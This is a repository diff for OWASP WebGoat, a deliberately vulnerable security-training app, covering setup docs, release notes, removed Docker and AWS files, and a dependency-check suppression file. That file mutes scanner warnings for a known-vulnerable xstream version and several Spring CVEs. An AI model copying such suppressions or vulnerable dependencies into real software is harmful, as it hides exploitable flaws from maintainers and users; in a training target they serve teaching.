+Every release is also published on [DockerHub](https://hub.docker.com/r/webgoat/webgoat).
+
+The easiest way to start WebGoat as a Docker container is to use the all-in-one docker container. This is a docker image that has WebGoat and WebWolf running inside.
+
+```shell
+docker run -it -p 127.0.0.1:8080:8080 -p 127.0.0.1:9090:9090 -e TZ=Europe/Amsterdam webgoat/webgoat
+```
+
+If you want to reuse the container, give it a name:
+
+```shell
+docker run --name webgoat -it -p 127.0.0.1:8080:8080 -p 127.0.0.1:9090:9090 -e TZ=Europe/Amsterdam webgoat/webgoat
+```
+
+As long as you don't remove the container you can use:
+
+```shell
+docker start webgoat
+```
+
+This way, you can start where you left off. If you remove the container, you need to use `docker run` again.
+
+**Important**: *Choose the correct timezone, so that the docker container and your host are in the same timezone. As it is important for the validity of JWT tokens used in certain exercises.*
+
+## 2. Standalone
+
+Download the latest WebGoat release from [https://github.com/WebGoat/WebGoat/releases](https://github.com/WebGoat/WebGoat/releases)
+
+```shell
+java -Dfile.encoding=UTF-8 -Dwebgoat.port=8080 -Dwebwolf.port=9090 -jar webgoat-2023.3.jar
+```
+
+Click the link in the log to start WebGoat.
+
+## 3. Run from the sources
+
+### Prerequisites:
+
+* Java 17
+* Your favorite IDE
+* Git, or Git support in your IDE
+
+Open a command shell/window:
+
+```Shell
+git clone git@github.com:WebGoat/WebGoat.git
+```
+
+Now let's start by compiling the project.
+
+```Shell
+cd WebGoat
+git checkout <<branch_name>>
+# On Linux/Mac:
+./mvnw clean install
+
+# On Windows:
+./mvnw.cmd clean install
+
+# Using docker or podman, you can than build the container locally
+docker build -f Dockerfile . -t webgoat/webgoat
+```
+
+Now we are ready to run the project. WebGoat 8.x is using Spring-Boot.
+
+```Shell
+# On Linux/Mac:
+./mvnw spring-boot:run
+# On Windows:
+./mvnw.cmd spring-boot:run
+
+```
+
+... you should be running WebGoat on http://localhost:8080/WebGoat momentarily.
+
+Note: The above link will redirect you to login page if you are not logged in. LogIn/Create account to proceed.
+
+To change the IP address add the following variable to the `WebGoat/webgoat-container/src/main/resources/application.properties` file:
+
+```
+server.address=x.x.x.x
+```
+
+## 4. Run with custom menu
+
+For specialist only. There is a way to set up WebGoat with a personalized menu. You can leave out some menu categories or individual lessons by setting certain environment variables.
+
+For instance running as a jar on a Linux/macOS it will look like this:
+
+```Shell
+export EXCLUDE_CATEGORIES="CLIENT_SIDE,GENERAL,CHALLENGE"
+export EXCLUDE_LESSONS="SqlInjectionAdvanced,SqlInjectionMitigations"
+java -jar target/webgoat-2023.3-SNAPSHOT.jar
+```
+
+Or in a docker run it would (once this version is pushed into docker hub) look like this:
+
+```Shell
+docker run -d -p 8080:8080 -p 9090:9090 -e TZ=Europe/Amsterdam -e EXCLUDE_CATEGORIES="CLIENT_SIDE,GENERAL,CHALLENGE" -e EXCLUDE_LESSONS="SqlInjectionAdvanced,SqlInjectionMitigations" webgoat/webgoat
+```
+

README_I18N.md

@@ -0,0 +1,34 @@
+# Multi language support in WebGoat
+
+WebGoat is mainly written in English, but it does support multiple languages.
+
+## Default language selection
+
+1. Current supported languages are: en, fr, de, nl
+2. The primary language is based on the language setting of the browser.
+3. If the language is not in the list of supported language, the language is English
+4. Once logged in, you can switch between the supported languages using a language dropdown menu on the main page
+   1. After switching a language you are back at the Introduction page
+
+## Adding a new language
+
+The following steps are required when you want to add a new language
+
+1. Update [main_new.html](src/main/resources/webgoat/static/main_new.html)
+   1. Add the parts for showing the flag and providing the correct value for the flag= parameter
+2. 
+3. Add a flag image to src/main/resources/webgoat/static/css/img
+   1. See the main_new.html for a link to download flag resources
+4. Add a welcome page to the introduction lesson
+   1. Copy Introduction_.adoc to Introduction_es.adoc (if in this case you want to add Spanish)
+   2. Add a highlighted section that explains that most parts of WebGoat will still be in English and invite people to translate parts where it would be valuable
+5. Translate the main labels
+   1. Copy messages.properties to messages_es.properties (if in this case you want to add Spanish)
+   2. Translate the label values
+6. Optionally translate lessons by
+   1. Adding lang specifc adoc files in documentation folder of the lesson
+   2. Adding WebGoatLabels.properties of a specific language if you want to
+7. Run mvn clean to see if the LabelAndHintIntegration test passes
+8. Run WebGoat and verify that your own language and the other languages work as expected
+
+If you only want to translate more for a certain language, you only need to do step 4-8

RELEASE_NOTES.md

@@ -1,5 +1,109 @@
 # WebGoat release notes
 
+## Version 2023.3
+
+With great pleasure, we present you with a new release of WebGoat **2023.3**. Finally, it has been a while. This year starts with a new release of WebGoat. This year we will undoubtedly release more often. From this release on, we began to use a new versioning scheme (https://calver.org/#scheme).
+
+A big thanks to René Zubcevic and Àngel Ollé Blázquez for keeping the project alive this last year, and hopefully, we can make
+many more releases this year.
+
+### New functionality
+
+- New year's resolution(2022): major refactoring of WebGoat to simplify the setup and improve building times.
+- Move away from multi-project setup:
+  * This has a huge performance benefit when building the application. Build time locally is now `Total time:  42.469 s` (depends on your local machine of course)
+  * No longer add Maven dependencies in several places
+  * H2 no longer needs to run as separate process, which solves the issue of WebWolf sharing and needing to configure the correct database connection.
+- More explicit paths in html files to reference `adoc` files, less magic.
+- Integrate WebWolf in WebGoat, the setup was way too complicated and needed configuration which could lead to mistakes and a not working application. This also simplifies the Docker configuration as there is only 1 Docker image.
+- Add WebWolf button in WebGoat
+- Move all lessons into `src/main/resources`
+- WebGoat selects a port dynamically when starting. It will still start of port 8080 it will try another port to ease the user experience.
+- WebGoat logs URL after startup: `Please browse to http://127.0.0.1:8080/WebGoat to get started...`
+- Simplify `Dockerfile` as we no longer need a script to start everything
+- Maven build now start WebGoat jar with Maven plugin to make sure we run against the latest build.
+- Added `Initializable` interface for a lesson, an assignment can implement this interface to set it up for a specific user and to reset the assignment back to its original state when a reset lesson occurs. See `BlindSendFileAssignment` for an example.
+- Integration tests now use the same user. This saves a lot of time as before every test used a different user which triggered the Flyway migration to set up the database schema for the user. This migration took a lot of time.
+- Updated introduction lesson to WebWolf.
+- Added language switch for support for multiple languages.
+- Removed logic to start WebGoat on a random port when port `8080` is taken. We would loop until we found a free port. We simplified this to just start on the specified port.
+- Add Google formatter for all our code, a PR now checks whether the code adheres to the standard.
+- Renaming of all packages and folders.
+- [#1039 New OWASP Top 10](https://github.com/WebGoat/WebGoat/issues/1093)
+- [#1065 New lesson about logging](https://github.com/WebGoat/WebGoat/issues/1065)
+
+### Bug fixes
+
+- [#1193 Vulnerable component lesson - java.desktop does not "opens java.beans" to unnamed module](https://github.com/WebGoat/WebGoat/issues/1193)
+- [#1176 Minor: XXE lesson 12 patch not reset by 'lesson reset' while it IS reset by leaving/returning to lesson](https://github.com/WebGoat/WebGoat/issues/1176)
+- [#1134 "Exploiting XStream" assignment does not work](https://github.com/WebGoat/WebGoat/issues/1134)
+- [#1130 Typo: Using Indrect References](https://github.com/WebGoat/WebGoat/issues/1130)
+- [#1101 SQL lesson not correct](https://github.com/WebGoat/WebGoat/issues/1101)
+- [#1079 startup.sh issues of WebWolf - cannot connect to the WebGoat DB](https://github.com/WebGoat/WebGoat/issues/1079)
+- [#1379 Move XXE to A05:2021-_Security_ Misconfiguration](https://github.com/WebGoat/WebGoat/issues/1379)
+- [#1298 SocketUtils is deprecated and will be removed in Spring Security 6](https://github.com/WebGoat/WebGoat/issues/1298)
+- [#1248 Rewrite the WebWolf Introduction Lesson with the new changes](https://github.com/WebGoat/WebGoat/issues/1248)
+- [#1200 Type cast error in sample code at JWT token section](https://github.com/WebGoat/WebGoat/issues/1200)
+- [#1173 --server.port=9000 is not respected on Windows (both cmd as Powershell)](https://github.com/WebGoat/WebGoat/issues/1173)
+- [#1103 (A1) path traversel lesson 7 seems broken](https://github.com/WebGoat/WebGoat/issues/1103)
+- [#986 - User registration not persistant](https://github.com/WebGoat/WebGoat/issues/986)
+
+## Version 8.2.2
+
+### New functionality
+
+- Docker image now supports nginx when browsing to http://localhost a landing page is shown.
+
+### Bug fixes
+
+- [#1039 jwt-7-Code review](https://github.com/WebGoat/WebGoat/issues/1039)
+- [#1031 SQL Injection (intro) 5: Data Control Language (DCL) the wiki's solution is not correct](https://github.com/WebGoat/WebGoat/issues/1031)
+- [#1027 Webgoat 8.2.1 Vulnerable_Components_12 Shows internal server error](https://github.com/WebGoat/WebGoat/issues/1027)
+
+## Version 8.2.1
+
+### New functionality
+
+- New Docker image for arm64 architecture is now available (for Apple M1)
+
+## Version 8.2.0
+
+### New functionality
+
+- Add new zip slip lesson (part of path traversal)
+- SQL lessons are now separate for each user, database are now per user and no longer shared across users
+- Moved to Java 15 & Spring Boot 2.4 & moved to JUnit 5
+
+### Bug fixes
+
+- [#974 SQL injection Intro 5 not solvable](https://github.com/WebGoat/WebGoat/issues/974)
+- [#962 SQL-Lesson 5 (Advanced) Solvable with wrong anwser](https://github.com/WebGoat/WebGoat/issues/962)
+- [#961 SQl-Injection lesson 4 not deleting created row](https://github.com/WebGoat/WebGoat/issues/961)
+- [#949 Challenge: Admin password reset always solvable](https://github.com/WebGoat/WebGoat/issues/949)
+- [#923 - Upgrade to Java 15](https://github.com/WebGoat/WebGoat/issues/923)
+- [#922 - Vulnerable components lesson](https://github.com/WebGoat/WebGoat/issues/922)
+- [#891 - Update the OWASP website with the new all-in-one Docker container](https://github.com/WebGoat/WebGoat/issues/891)
+- [#844 - Suggestion: Update navigation](https://github.com/WebGoat/WebGoat/issues/844)
+- [#843 - Bypass front-end restrictions: Field restrictions - confusing text in form](https://github.com/WebGoat/WebGoat/issues/843)
+- [#841 - XSS - Reflected XSS confusing instruction and success messages](https://github.com/WebGoat/WebGoat/issues/841)
+- [#839 - SQL Injection (mitigation) Order by clause confusing](https://github.com/WebGoat/WebGoat/issues/839)
+- [#838 - SQL mitigation (filtering) can only be passed by updating table](https://github.com/WebGoat/WebGoat/issues/838)
+
+## Contributors
+
+Special thanks to the following contributors providing us with a pull request:
+
+- nicholas-quirk
+- VijoPlays
+- aolle
+- trollingHeifer
+- maximmasiutin
+- toshihue
+- avivmu
+- KellyMarchewa
+- NatasG
+- gabe-sky
+
 ## Version 8.1.0
 
 ### New functionality
@@ -20,13 +124,13 @@
 - [#766 - Unclear objective of vulnerable components practical assignment](https://github.com/WebGoat/WebGoat/issues/766)
 - [#708 - Seems like the home directory of WebGoat always use @project.version@](https://github.com/WebGoat/WebGoat/issues/708)
 - [#719 - WebGoat: 'Contact Us' email link in header is not correctly set](https://github.com/WebGoat/WebGoat/issues/719)
- - [#715 - Reset lesson doesn't reset the "HTML lesson" => forms stay succesful](https://github.com/WebGoat/WebGoat/issues/715)
- - [#725 - Vulnerable Components lesson 12 broken due to too new dependency](https://github.com/WebGoat/WebGoat/issues/725)
- - [#716 -  On M26 @project.version@ is not "interpreted" #7](https://github.com/WebGoat/WebGoat/issues/716)
- - [#721 couldn't be able to run CSRF lesson 3: Receive Whitelabel Error Page](https://github.com/WebGoat/WebGoat/issues/721)
- - [#724 - Dead link in VulnerableComponents lesson 11](https://github.com/WebGoat/WebGoat/issues/724)
+- [#715 - Reset lesson doesn't reset the "HTML lesson" => forms stay succesful](https://github.com/WebGoat/WebGoat/issues/715)
+- [#725 - Vulnerable Components lesson 12 broken due to too new dependency](https://github.com/WebGoat/WebGoat/issues/725)
+- [#716 -  On M26 @project.version@ is not "interpreted" #7](https://github.com/WebGoat/WebGoat/issues/716)
+- [#721 couldn't be able to run CSRF lesson 3: Receive Whitelabel Error Page](https://github.com/WebGoat/WebGoat/issues/721)
+- [#724 - Dead link in VulnerableComponents lesson 11](https://github.com/WebGoat/WebGoat/issues/724)
 
- ## Contributors
+## Contributors
 
 Special thanks to the following contributors providing us with a pull request:
 
@@ -42,9 +146,5 @@ Special thanks to the following contributors providing us with a pull request:
 
 And everyone who provided feedback through Github.
 
-
 Team WebGoat
 
-
-
-

buildspec.yml

@@ -1,12 +0,0 @@
-version: 0.1
-
-phases:
-  build:
-    commands:
-      - mvn package
-
-artifacts:
-  files:
-    - webgoat-server/target/webgoat-server-8.0-SNAPSHOT.jar
-  discard-paths: yes
-

config/dependency-check/project-suppression.xml

@@ -1,42 +1,77 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <suppressions xmlns="https://jeremylong.github.io/DependencyCheck/dependency-suppression.1.3.xsd">
-    <suppress base="true">
+    <suppress>
         <notes><![CDATA[
-        This suppresses false positives identified on spring framework.
+        This suppresses all CVE entries that have a score below CVSS 7.
         ]]></notes>
-        <cpe>cpe:/a:pivotal_software:spring_framework</cpe>
-        <cve>CVE-2020-5398</cve>
+        <cvssBelow>7</cvssBelow>
     </suppress>
-    <suppress base="true">
+    <suppress>
         <notes><![CDATA[
-        This suppresses false positives identified on spring framework.
+        file name: spring-tx-5.3.21.jar
         ]]></notes>
-        <cpe>cpe:/a:redhat:undertow</cpe>
-        <cve>CVE-2019-14888</cve>
-    </suppress>
-    <suppress base="true">
+        <sha1>13f4f564024d2f85502c151942307c3ca851a4f7</sha1>
+        <cve>CVE-2016-1000027</cve>
+     </suppress>
+     <suppress>
         <notes><![CDATA[
-        This suppresses false positives identified on spring framework.
+        file name: spring-core-5.3.21.jar
         ]]></notes>
-        <cpe>cpe:/a:pivotal_software:spring_security</cpe>
-        <cve>CVE-2018-1258</cve>
-    </suppress>
-    <suppress base="true">
+        <packageUrl regex="true">^pkg:maven/org\.springframework/spring\-core@.*$</packageUrl>
+        <cve>CVE-2016-1000027</cve>
+     </suppress>
+     <suppress>
+        <notes><![CDATA[
+        file name: spring-aop-5.3.21.jar
+        ]]></notes>
+        <packageUrl regex="true">^pkg:maven/org\.springframework/spring\-aop@.*$</packageUrl>
+        <cve>CVE-2016-1000027</cve>
+     </suppress>
+     <suppress>
+        <notes><![CDATA[
+        file name: spring-boot-starter-security-2.7.1.jar
+        ]]></notes>
+        <packageUrl regex="true">^pkg:maven/org\.springframework\.boot/spring\-boot\-starter\-security@.*$</packageUrl>
+        <cve>CVE-2022-22978</cve>
+     </suppress>
+     <suppress>
+        <notes><![CDATA[
+        file name: jruby-stdlib-9.2.20.1.jar: jopenssl.jar (shaded: rubygems:jruby-openssl:0.11.0)
+        ]]></notes>
+        <packageUrl regex="true">^pkg:maven/rubygems/jruby\-openssl@.*$</packageUrl>
         <cpe>cpe:/a:jruby:jruby</cpe>
-        <cve>CVE-2018-1000613</cve>
-        <cve>CVE-2018-1000180</cve>
-        <cve>CVE-2017-18640</cve>
-        <cve>CVE-2011-4838</cve>
-    </suppress>
-    <suppress base="true"><!-- vulnerable components lesson -->
+        <cpe>cpe:/a:openssl:openssl</cpe>
+     </suppress>
+    <suppress>
+        <notes><![CDATA[
+        file name: xstream-1.4.5.jar
+        ]]></notes>
+        <packageUrl regex="true">^pkg:maven/com\.thoughtworks\.xstream/xstream@.*$</packageUrl>
         <cpe>cpe:/a:xstream_project:xstream</cpe>
-        <cve>CVE-2017-7957</cve>
-        <cve>CVE-2016-3674</cve>
-        <cve>CVE-2020-26217</cve>
-        <cve>CVE-2020-26258</cve>
-    </suppress>
-    <suppress base="true"><!-- webgoat-server -->
-        <cpe>cpe:/a:postgresql:postgresql</cpe>
-        <cve>CVE-2018-10936</cve>
-    </suppress>
+        <vulnerabilityName>CVE-2013-7285</vulnerabilityName>
+        <vulnerabilityName>CVE-2016-3674</vulnerabilityName>
+        <vulnerabilityName>CVE-2017-7957</vulnerabilityName>
+        <vulnerabilityName>CVE-2020-26217</vulnerabilityName>
+        <vulnerabilityName>CVE-2020-26258</vulnerabilityName>
+        <vulnerabilityName>CVE-2020-26259</vulnerabilityName>
+        <vulnerabilityName>CVE-2021-21341</vulnerabilityName>
+        <vulnerabilityName>CVE-2021-21342</vulnerabilityName>
+        <vulnerabilityName>CVE-2021-21343</vulnerabilityName>
+        <vulnerabilityName>CVE-2021-21344</vulnerabilityName>
+        <vulnerabilityName>CVE-2021-21345</vulnerabilityName>
+        <vulnerabilityName>CVE-2021-21346</vulnerabilityName>
+        <vulnerabilityName>CVE-2021-21347</vulnerabilityName>
+        <vulnerabilityName>CVE-2021-21348</vulnerabilityName>
+        <vulnerabilityName>CVE-2021-21349</vulnerabilityName>
+        <vulnerabilityName>CVE-2021-21350</vulnerabilityName>
+        <vulnerabilityName>CVE-2021-21351</vulnerabilityName>
+        <vulnerabilityName>CVE-2021-43859</vulnerabilityName>
+     </suppress>
+     <suppress>
+        <notes><![CDATA[
+        file name: spring-jcl-5.3.21.jar
+        ]]></notes>
+        <packageUrl regex="true">^pkg:maven/org\.springframework/spring\-.*@.*$</packageUrl>
+        <cve>CVE-2016-1000027</cve>
+     </suppress>
 </suppressions>

docker-compose-local.yml

@@ -1,13 +0,0 @@
-version: '2.1'
-
-services:
-  webgoat:
-    image: webgoat/webgoat-v8.0.0.snapshot
-    extends:
-      file: docker-compose.yml
-      service: webgoat
-  webwolf:
-    extends:
-      file: docker-compose.yml
-      service: webwolf
-    image: webgoat/webwolf-v8.0.0.snapshot

docker-compose-postgres.yml

@@ -1,40 +0,0 @@
-version: '2.0'
-
-services:
-  webgoat:
-    image: webgoat/webgoat-8.0
-    user: webgoat
-    environment:
-      - WEBWOLF_HOST=webwolf
-      - WEBWOLF_PORT=9090
-      - spring.datasource.url=jdbc:postgresql://webgoat_db:5432/webgoat?user=webgoat&password=webgoat
-      - spring.datasource.username=webgoat
-      - spring.datasource.password=webgoat
-      - spring.datasource.driver-class-name=org.postgresql.Driver
-      - spring.jpa.properties.hibernate.dialect=org.hibernate.dialect.PostgreSQL10Dialect
-      - webgoat.server.directory=/home/webgoat/.webgoat/
-      - webgoat.user.directory=/home/webgoat/.webgoat/
-    ports:
-      - "8080:8080"
-  webwolf:
-    image: webgoat/webwolf
-    environment:
-      - spring.datasource.url=jdbc:postgresql://webgoat_db:5432/webgoat?user=webgoat&password=webgoat
-      - spring.datasource.username=webgoat
-      - spring.datasource.password=webgoat
-      - spring.datasource.driver-class-name=org.postgresql.Driver
-      - spring.jpa.properties.hibernate.dialect=org.hibernate.dialect.PostgreSQL10Dialect
-    ports:
-      - "9090:9090"
-  webgoat_db:
-    image: postgres:10.12
-# Uncomment to store the state of the database on the host.
-#    volumes:
-#      - ./database:/var/lib/postgresql
-    environment:
-      - POSTGRES_PASSWORD=webgoat
-      - POSTGRES_USER=webgoat
-      - POSTGRES_DB=webgoat
-    ports:
-      - "5432:5432"
-

docker-compose.yml

@@ -1,22 +0,0 @@
-version: '3'
-
-services:
-  webgoat:
-    image: webgoat/webgoat-8.0
-    environment:
-      - WEBWOLF_HOST=webwolf
-      - WEBWOLF_PORT=9090
-      - TZ=Europe/Amsterdam
-    ports:
-      - "8080:8080"
-      - "9001:9001"
-    volumes:
-      - .:/home/webgoat/.webgoat
-    working_dir: /home/webgoat
-  webwolf:
-    image: webgoat/webwolf
-    ports:
-      - "9090:9090"
-    command: --spring.datasource.url=jdbc:hsqldb:hsql://webgoat:9001/webgoat --server.address=0.0.0.0
-    depends_on:
-            - webgoat

docker/.gitignore

@@ -1 +0,0 @@
-*.jar

docker/Dockerfile

@@ -1,32 +0,0 @@
-FROM openjdk:11.0.1-jre-slim-stretch
-
-ARG webgoat_version=v8.2.0-SNAPSHOT
-ENV webgoat_version_env=${webgoat_version}
-
-RUN apt-get update && apt-get install 
-RUN useradd --home-dir /home/webgoat --create-home -U webgoat
-RUN cd /home/webgoat/; 
-RUN chgrp -R 0 /home/webgoat
-RUN chmod -R g=u /home/webgoat
-RUN apt-get -y install apt-utils nginx
-
-USER webgoat
-
-COPY nginx.conf /etc/nginx/nginx.conf
-COPY index.html /usr/share/nginx/html/
-COPY webgoat-server-${webgoat_version}.jar /home/webgoat/webgoat.jar
-COPY webwolf-${webgoat_version}.jar /home/webgoat/webwolf.jar
-COPY start.sh /home/webgoat
-
-EXPOSE 8080
-EXPOSE 9090
-
-ENV WEBGOAT_PORT 8080
-ENV WEBGOAT_SSLENABLED false
-
-ENV GOATURL https://127.0.0.1:$WEBGOAT_PORT
-ENV WOLFURL http://127.0.0.1:9090
-
-
-WORKDIR /home/webgoat
-ENTRYPOINT /bin/bash /home/webgoat/start.sh $webgoat_version_env

docker/Readme.md

@@ -1,9 +0,0 @@
-# Docker all-in-one image
-
-## Docker build
-
-	docker build --no-cache --build-arg webgoat_version=v8.2.0-SNAPSHOT -t webgoat/goatandwolf:latest .
-	
-## Docker run
-	
-	docker run -d -p 80:8888 -p 8080:8080 -p 9090:9090 -e TZ=Europe/Amsterdam webgoat/goatandwolf:latest

docker/index.html

@@ -1,43 +0,0 @@
-<!DOCTYPE html>
-<html>
-  <body>
-    <h1>OWASP WebGoat Training tools</h1>
-    <p>
-      Use the following links to access the WebGoat and WebWolf applications.
-      Register a user using WebGoat. The same user can access WebWolf.
-    </p>
-	
-	<h2>Use without special host name entries</h2>
-	
-	<table>
-	<tr>
-		<td>WebGoat URL</td>
-		<td><a href="http://127.0.0.1:8080/WebGoat" target="_blank">http://127.0.0.1:8080/WebGoat</a></td>
-	</tr>
-	<tr>
-		<td>WebWolf URL</td>
-		<td><a href="http://127.0.0.1:9090/WebWolf" target="_blank">http://127.0.0.1:9090/WebWolf</a></td>
-	</tr>
-	<table>
-	
-	<h2>Use with www.webgoat.local and www.webwolf.local</h2>
-	<p>
-      Add the following entries to your local <b><i>hosts</i></b> file on Windows (c:\Windows\System32\drivers\etc\hosts) or Linux (/etc/hosts)
-	  
-<pre>
-127.0.0.1 www.webgoat.local www.webwolf.local
-</pre>
-	Then use the following URL's:
-    </p>
-	<table>
-	<tr>
-		<td>WebGoat URL</td>
-		<td><a href="http://www.webgoat.local/WebGoat" target="_blank">http://www.webgoat.local/WebGoat</a></td>
-	</tr>
-	<tr>
-		<td>WebWolf URL</td>
-		<td><a href="http://www.webwolf.local/WebWolf" target="_blank">http://www.webwolf.local/WebWolf</a></td>
-	</tr>
-	<table>
-  </body>
-</html>

docker/nginx.conf

@@ -1,140 +0,0 @@
-error_log /tmp/error.log;
-pid /tmp/nginx.pid;
-
-worker_processes 1;
-
-events { worker_connections 1024; }
-
-http {
-
-	client_body_temp_path /tmp/client_body;
-	fastcgi_temp_path /tmp/fastcgi_temp;
-	proxy_temp_path /tmp/proxy_temp;
-	scgi_temp_path /tmp/scgi_temp;
-	uwsgi_temp_path /tmp/uwsgi_temp;
-
-    sendfile on;
-
-    upstream docker-webgoat {
-        server 127.0.0.1:8080;
-    }
-
-    upstream docker-webwolf {
-        server 127.0.0.1:9090;
-    }
-
-    proxy_set_header   Host $host;
-    proxy_set_header   X-Real-IP $remote_addr;
-    proxy_set_header   X-Forwarded-For $proxy_add_x_forwarded_for;
-    proxy_set_header   X-Forwarded-Host $server_name;
-
-    server {
-        listen 8888;
-        server_name        www.webgoat.local;
-		
-		root /var/www;
- 
-		access_log /tmp/goataccess.log;
-		error_log /tmp/goaterror.log;
-
-        location ~* \.(png|jpg|jpeg|gif|ico|woff|otf|ttf|mvc|svg|txt|pdf|docx?|xlsx?)$ {
-            access_log         off;
-            proxy_pass         http://docker-webgoat;
-            proxy_redirect     off;
-        }
-
-        location / {
-            root              /usr/share/nginx/html;
-            index             index.html;
-            add_header        Cache-Control no-cache;
-            expires           0;
-        }
-
-        location /WebGoat {
-            proxy_pass         http://docker-webgoat;
-            proxy_redirect     off;
-        }
-
-    }
-
-    server {
-        listen 8888;
-        server_name        www.webwolf.local;
-		
-		root /var/www;
- 
-		access_log /tmp/wolfaccess.log;
-		error_log /tmp/wolferror.log;
-
-        location /WebGoat/PasswordReset/ForgotPassword/create-password-reset-link {
-            proxy_pass         http://docker-webgoat;
-            proxy_redirect     off;
-        }
-
-        location /PasswordReset/reset/reset-password {
-            proxy_pass         http://docker-webwolf;
-            proxy_redirect     off;
-        }
-
-        location /files {
-            proxy_pass         http://docker-webwolf;
-            proxy_redirect     off;
-        }
-
-        location /tmpdir {
-            proxy_pass         http://docker-webwolf;
-            proxy_redirect     off;
-        }
-
-        location /webjars {
-            proxy_pass         http://docker-webwolf;
-            proxy_redirect     off;
-        }
-
-        location /css {
-            proxy_pass         http://docker-webwolf;
-            proxy_redirect     off;
-        }
-
-        location /login {
-            proxy_pass         http://docker-webwolf;
-            proxy_redirect     off;
-        }
-
-        location /images {
-            proxy_pass         http://docker-webwolf;
-            proxy_redirect     off;
-        }
-
-        location /mail {
-            proxy_pass         http://docker-webwolf;
-            proxy_redirect     off;
-        }
-
-        location /upload {
-            proxy_pass         http://docker-webwolf;
-            proxy_redirect     off;
-        }
-
-        location /js {
-            proxy_pass         http://docker-webwolf;
-            proxy_redirect     off;
-        }
-
-        location /landing {
-            proxy_pass         http://docker-webwolf;
-            proxy_redirect     off;
-        }
-
-        location /logout {
-            proxy_pass         http://docker-webwolf;
-            proxy_redirect     off;
-        }
-
-        location /WebWolf {
-            proxy_pass         http://docker-webwolf;
-            proxy_redirect     off;
-        }
-
-    }
-}

docker/pom.xml

@@ -1,40 +0,0 @@
-<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
-    <modelVersion>4.0.0</modelVersion>
-    <artifactId>webgoat-all-in-one-docker</artifactId>
-    <packaging>jar</packaging>
-    <parent>
-        <groupId>org.owasp.webgoat</groupId>
-        <artifactId>webgoat-parent</artifactId>
-        <version>${revision}</version>
-    </parent>
-
-    <dependencies>
-       
-    </dependencies>
-
-    <build>
-        <plugins>
-            <plugin>
-            <groupId>org.apache.maven.plugins</groupId>
-            <artifactId>maven-antrun-plugin</artifactId>
-            <version>1.8</version>
-            <executions>
-                <execution>
-                    <phase>install</phase>
-                    <configuration>
-                        <target>
-                            <copy file="../webgoat-server/target/webgoat-server-${project.version}.jar" tofile="webgoat-server-${project.version}.jar"/>
-							<copy file="../webwolf/target/webwolf-${project.version}.jar" tofile="webwolf-${project.version}.jar"/>
-                        </target>
-                    </configuration>
-                    <goals>
-                        <goal>run</goal>
-                    </goals>
-                </execution>
-            </executions>
-			</plugin>
-        </plugins>
-    </build>
-
-</project>

docker/start.sh

@@ -1,12 +0,0 @@
-#!/bin/bash
-
-cd /home/webgoat 
-service nginx start
-sleep 1
-java -Duser.home=/home/webgoat -Dfile.encoding=UTF-8 -jar webgoat.jar --webgoat.build.version=$1 --server.address=0.0.0.0  > webgoat.log &
-
-sleep 10
- 
-java -Duser.home=/home/webgoat -Dfile.encoding=UTF-8 -jar webwolf.jar --webgoat.build.version=$1 --server.address=0.0.0.0 > webwolf.log &
-
-tail -300f webgoat.log

docs/README.md

@@ -1,5 +1,4 @@
 # WebGoat landing page
 
-Old Github page which now redirects to OWASP website.
-
+Old GitHub page which now redirects to OWASP website.
 

goat-with-reverseproxy.yaml

@@ -1,43 +0,0 @@
-version: '3'
-networks:
-  webwolflocal:
-services:
-  webgoat:
-    hostname: www.webgoat.local
-    image: webgoat/webgoat-8.0
-    environment:
-      - WEBGOAT_PORT=8080
-      - WEBGOAT_SSLENABLED=false
-      - WEBWOLF_HOST=webwolf
-      - WEBWOLF_PORT=9090
-      - TZ=Europe/Amsterdam
-    volumes:
-      - .:/home/webgoat/.webgoat
-    working_dir: /home/webgoat
-    command: --server.address=0.0.0.0
-    networks:
-      webwolflocal:
-        aliases:
-          - goat.webgoat.local
-  webwolf:
-    image: webgoat/webwolf
-    environment:
-      - WEBWOLF_HOST=webwolf
-      - WEBWOLF_PORT=9090
-      - TZ=Europe/Amsterdam
-    command: --spring.datasource.url=jdbc:hsqldb:hsql://webgoat:9001/webgoat --server.address=0.0.0.0
-    networks:
-      webwolflocal:
-        aliases:
-          - wolf.webwolf.local
-    depends_on:
-            - webgoat
-  reverseproxy:
-    hostname: www.webwolf.local
-    image: webgoat/reverseproxy
-    networks:
-      webwolflocal:
-        aliases:
-          - www.webwolf.local
-    ports:
-      - 80:80

mvn-debug

@@ -1,2 +1,2 @@
 export MAVEN_OPTS="-Xdebug -Xnoagent -Djava.compiler=NONE -Xrunjdwp:transport=dt_socket,server=y,suspend=y,address=8000"
-mvn $@
+./mvnw $@

platformQuickStarts/AWS/README.md

@@ -1,31 +0,0 @@
-# AWS
-
-- This contains the various platform Quick Starts for Getting WebGoat Deployed into AWS.
-- This IaaS quickstart uses AWS CloudFormation to perform most of the provisioning
-- This IaaS quickstart is composed of three independent bundles
-   - Code pipeline and Build
-   - Deploying to EC2
-   - Deploying to ECS
-
-
-It is Assumed:
-- You have an AWS Account 
-- You know what an S3 bucket is
-- You have seen the IAM console and have permissions to create IAM Roles
-
-
-
-
-## Code Pipeline and Build
-
-This Quickstart is for those that just want to perform builds with AWS. It Triggers off of Github to perform builds of `webgoat-server`
-
-
-
-## EC2
-
-(WIP) This uses AWS CodePipeline, CodeBuild, and CodeDeploy to land WebGoat to Running EC2 instances
-
-## ECS
-
-(WIP) This uses AWS CodePipeline, CodeBuild, ECR, to land a container onto  an ECS cluster

platformQuickStarts/AWS/codepipelinebuild/01_IAM_codebuild.json

@@ -1,101 +0,0 @@
-{
-    "AWSTemplateFormatVersion": "2010-09-09",
-    "Description": "IAM Roles for Code Build WebGoat IaaS Quickstart",
-    "Parameters": {
-        "qsS3BucketName": {
-            "Description": "Name of the S3 Bucket for artifacts",
-            "Type": "String",
-            "MinLength": "1"
-        },
-        "qsRoleName": {
-            "Description": "Name of the IAM role that CodeBuild Will Use",
-            "Type": "String",
-            "Default": "SimpleCodeBuildRole",
-            "MinLength": "1"
-        }
-    },
-    "Resources": {
-        "qsCodeBuildRole": {
-            "Type": "AWS::IAM::Role",
-            "Properties": {
-                "AssumeRolePolicyDocument": {
-                    "Version": "2012-10-17",
-                    "Statement": [
-                        {
-                            "Effect": "Allow",
-                            "Principal": {
-                                "Service": [
-                                    "codebuild.amazonaws.com"
-                                ]
-                            },
-                            "Action": [
-                                "sts:AssumeRole"
-                            ]
-                        }
-                    ]
-                },
